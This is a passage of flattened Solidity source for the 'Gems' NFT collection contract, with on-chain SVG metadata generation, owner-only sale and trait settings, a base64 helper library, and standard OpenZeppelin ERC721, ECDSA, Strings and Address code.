"data:application/json;base64,",
GemsLibrary.encode(
bytes(
string(
abi.encodePacked(
'{"name": "Gem #',
GemsLibrary.toString(_tokenId),
'", "description": "The Gems collection serves as the second phase of Ben Baller Did The BlockChain.", "image": "data:image/svg+xml;base64,',
GemsLibrary.encode(
bytes(hashToSVG(tokenHash))
),
'","attributes":',
hashToMetadata(tokenHash),
"}"
)
)
)
)
)
);
}
/**
* @dev Returns a hash for a given tokenId
* @param _tokenId The tokenId to return the hash for.
*/
function _tokenIdToHash(uint256 _tokenId)
public
view
returns (string memory)
{
string memory tokenHash = tokenIdToHash[_tokenId];
//If this is a burned token, override the previous hash
if (ownerOf(_tokenId) == 0x000000000000000000000000000000000000dEaD) {
tokenHash = string(
abi.encodePacked(
"1",
GemsLibrary.substring(tokenHash, 1, 9)
)
);
}
return tokenHash;
}
/**
* @dev Returns the wallet of a given wallet. Mainly for ease for frontend devs.
* @param _wallet The wallet to get the tokens of.
*/
function walletOfOwner(address _wallet)
public
view
returns (uint256[] memory)
{
uint256 tokenCount = balanceOf(_wallet);
uint256[] memory tokensId = new uint256[](tokenCount);
for (uint256 i; i < tokenCount; i++) {
tokensId[i] = tokenOfOwnerByIndex(_wallet, i);
}
return tokensId;
}
function toggleSaleStatus() external onlyOwner {
saleLive = !saleLive;
}
/**
* @dev Add a trait type
* @param _traitTypeIndex The trait type index
* @param traits Array of traits to add
*/
function addTraitType(uint256 _traitTypeIndex, Trait[] memory traits)
public
onlyOwner
{
for (uint256 i = 0; i < traits.length; i++) {
traitTypes[_traitTypeIndex].push(
Trait(
traits[i].traitName,
traits[i].traitType,
traits[i].pixels,
traits[i].pixelCount
)
);
}
return;
}
/**
* @dev Sets the ballerbars ERC20 address
* @param _ballerbarsAddress The ballerbars address
*/
function setBallerBarsAddress(address _ballerbarsAddress) public onlyOwner {
ballerbarsAddress = _ballerbarsAddress;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
interface IBallerBars is IERC20 {
function burnFrom(address account, uint256 amount) external;
// function getTokensStaked(address staker) external returns (uint256[] memory);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
library GemsLibrary {
string internal constant TABLE =
"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
function encode(bytes memory data) internal pure returns (string memory) {
if (data.length == 0) return "";
// load the table into memory
string memory table = TABLE;
// multiply by 4/3 rounded up
uint256 encodedLen = 4 * ((data.length + 2) / 3);
// add some extra buffer at the end required for the writing
string memory result = new string(encodedLen + 32);
assembly {
// set the actual output length
mstore(result, encodedLen)
// prepare the lookup table
let tablePtr := add(table, 1)
// input ptr
let dataPtr := data
let endPtr := add(dataPtr, mload(data))
// result ptr, jump over length
let resultPtr := add(result, 32)
// run over the input, 3 bytes at a time
for {
} lt(dataPtr, endPtr) {
} {
dataPtr := add(dataPtr, 3)
// read 3 bytes
let input := mload(dataPtr)
// write 4 characters
mstore(
resultPtr,
shl(248, mload(add(tablePtr, and(shr(18, input), 0x3F))))
)
resultPtr := add(resultPtr, 1)
mstore(
resultPtr,
shl(248, mload(add(tablePtr, and(shr(12, input), 0x3F))))
)
resultPtr := add(resultPtr, 1)
mstore(
resultPtr,
shl(248, mload(add(tablePtr, and(shr(6, input), 0x3F))))
)
resultPtr := add(resultPtr, 1)
mstore(
resultPtr,
shl(248, mload(add(tablePtr, and(input, 0x3F))))
)
resultPtr := add(resultPtr, 1)
}
// padding with '='
switch mod(mload(data), 3)
case 1 {
mstore(sub(resultPtr, 2), shl(240, 0x3d3d))
}
case 2 {
mstore(sub(resultPtr, 1), shl(248, 0x3d))
}
}
return result;
}
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
function parseInt(string memory _a)
internal
pure
returns (uint8 _parsedInt)
{
bytes memory bresult = bytes(_a);
uint8 mint = 0;
for (uint8 i = 0; i < bresult.length; i++) {
if (
(uint8(uint8(bresult[i])) >= 48) &&
(uint8(uint8(bresult[i])) <= 57)
) {
mint *= 10;
mint += uint8(bresult[i]) - 48;
}
}
return mint;
}
function substring(
string memory str,
uint256 startIndex,
uint256 endIndex
) internal pure returns (string memory) {
bytes memory strBytes = bytes(str);
bytes memory result = new bytes(endIndex - startIndex);
for (uint256 i = startIndex; i < endIndex; i++) {
result[i - startIndex] = strBytes[i];
}
return string(result);
}
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC165.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations.
*
* These functions can be used to verify that a message was signed by the holder
* of the private keys of a given address.
*/
library ECDSA {
enum RecoverError {
NoError,
InvalidSignature,
InvalidSignatureLength,
InvalidSignatureS,
InvalidSignatureV
}
function _throwError(RecoverError error) private pure {
if (error == RecoverError.NoError) {
return; // no error: do nothing
} else if (error == RecoverError.InvalidSignature) {
revert("ECDSA: invalid signature");
} else if (error == RecoverError.InvalidSignatureLength) {
revert("ECDSA: invalid signature length");
} else if (error == RecoverError.InvalidSignatureS) {
revert("ECDSA: invalid signature 's' value");
} else if (error == RecoverError.InvalidSignatureV) {
revert("ECDSA: invalid signature 'v' value");
}
}
/**
* @dev Returns the address that signed a hashed message (`hash`) with
* `signature` or error string. This address can then be used for verification purposes.
*
* The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:
* this function rejects them by requiring the `s` value to be in the lower
* half order, and the `v` value to be either 27 or 28.
*
* IMPORTANT: `hash` _must_ be the result of a hash operation for the
* verification to be secure: it is possible to craft signatures that
* recover to arbitrary addresses for non-hashed data. A safe way to ensure
* this is by receiving a hash of the original message (which may otherwise
* be too long), and then calling {toEthSignedMessageHash} on it.
*
* Documentation for signature generation:
* - with https://web3js.readthedocs.io/en/v1.3.4/web3-eth-accounts.html#sign[Web3.js]
* - with https://docs.ethers.io/v5/api/signer/#Signer-signMessage[ethers]
*
* _Available since v4.3._
*/
function tryRecover(bytes32 hash, bytes memory signature) internal pure returns (address, RecoverError) {
// Check the signature length
// - case 65: r,s,v signature (standard)
// - case 64: r,vs signature (cf https://eips.ethereum.org/EIPS/eip-2098) _Available since v4.1._
if (signature.length == 65) {
bytes32 r;
bytes32 s;
uint8 v;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}
return tryRecover(hash, v, r, s);
} else if (signature.length == 64) {
bytes32 r;
bytes32 vs;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
assembly {
r := mload(add(signature, 0x20))
vs := mload(add(signature, 0x40))
}
return tryRecover(hash, r, vs);
} else {
return (address(0), RecoverError.InvalidSignatureLength);
}
}
/**
* @dev Returns the address that signed a hashed message (`hash`) with
* `signature`. This address can then be used for verification purposes.
*
* The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:
* this function rejects them by requiring the `s` value to be in the lower
* half order, and the `v` value to be either 27 or 28.
*
* IMPORTANT: `hash` _must_ be the result of a hash operation for the
* verification to be secure: it is possible to craft signatures that
* recover to arbitrary addresses for non-hashed data. A safe way to ensure
* this is by receiving a hash of the original message (which may otherwise
* be too long), and then calling {toEthSignedMessageHash} on it.
*/
function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, signature);
_throwError(error);
return recovered;
}
/**
* @dev Overload of {ECDSA-tryRecover} that receives the `r` and `vs` short-signature fields separately.
*
* See https://eips.ethereum.org/EIPS/eip-2098[EIP-2098 short signatures]
*
* _Available since v4.3._
*/
function tryRecover(
bytes32 hash,
bytes32 r,
bytes32 vs
) internal pure returns (address, RecoverError) {
bytes32 s;
uint8 v;
assembly {
s := and(vs, 0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)
v := add(shr(255, vs), 27)
}
return tryRecover(hash, v, r, s);
}
/**
* @dev Overload of {ECDSA-recover} that receives the `r and `vs` short-signature fields separately.
*
* _Available since v4.2._
*/
function recover(
bytes32 hash,
bytes32 r,
bytes32 vs
) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, r, vs);
_throwError(error);
return recovered;
}
/**
* @dev Overload of {ECDSA-tryRecover} that receives the `v`,
* `r` and `s` signature fields separately.
*
* _Available since v4.3._
*/
function tryRecover(
bytes32 hash,
uint8 v,
bytes32 r,
bytes32 s
) internal pure returns (address, RecoverError) {
// EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature
// unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines
// the valid range for s in (301): 0 < s < secp256k1n ÷ 2 + 1, and for v in (302): v ∈ {27, 28}. Most
// signatures from current libraries generate a unique signature with an s-value in the lower half order.
//
// If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value
// with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or
// vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept
// these malleable signatures as well.
if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) {
return (address(0), RecoverError.InvalidSignatureS);
}
if (v != 27 && v != 28) {
return (address(0), RecoverError.InvalidSignatureV);
}
// If the signature is valid (and not malleable), return the signer address
address signer = ecrecover(hash, v, r, s);
if (signer == address(0)) {
return (address(0), RecoverError.InvalidSignature);
}
return (signer, RecoverError.NoError);
}
/**
* @dev Overload of {ECDSA-recover} that receives the `v`,
* `r` and `s` signature fields separately.
*/
function recover(
bytes32 hash,
uint8 v,
bytes32 r,
bytes32 s
) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, v, r, s);
_throwError(error);
return recovered;
}
/**
* @dev Returns an Ethereum Signed Message, created from a `hash`. This
* produces hash corresponding to the one signed with the
* https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`]
* JSON-RPC method as part of EIP-191.
*
* See {recover}.
*/
function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) {
// 32 is the length in bytes of hash,
// enforced by the type signature above
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
}
/**
* @dev Returns an Ethereum Signed Typed Data, created from a
* `domainSeparator` and a `structHash`. This produces hash corresponding
* to the one signed with the
* https://eips.ethereum.org/EIPS/eip-712[`eth_signTypedData`]
* JSON-RPC method as part of EIP-712.
*
* See {recover}.
*/
function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) {
return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../ERC721.sol";
import "./IERC721Enumerable.sol";
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../../utils/introspection/IERC165.sol";
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC721.sol";
import "./IERC721Receiver.sol";
import "./extensions/IERC721Metadata.sol";
import "../../utils/Address.sol";
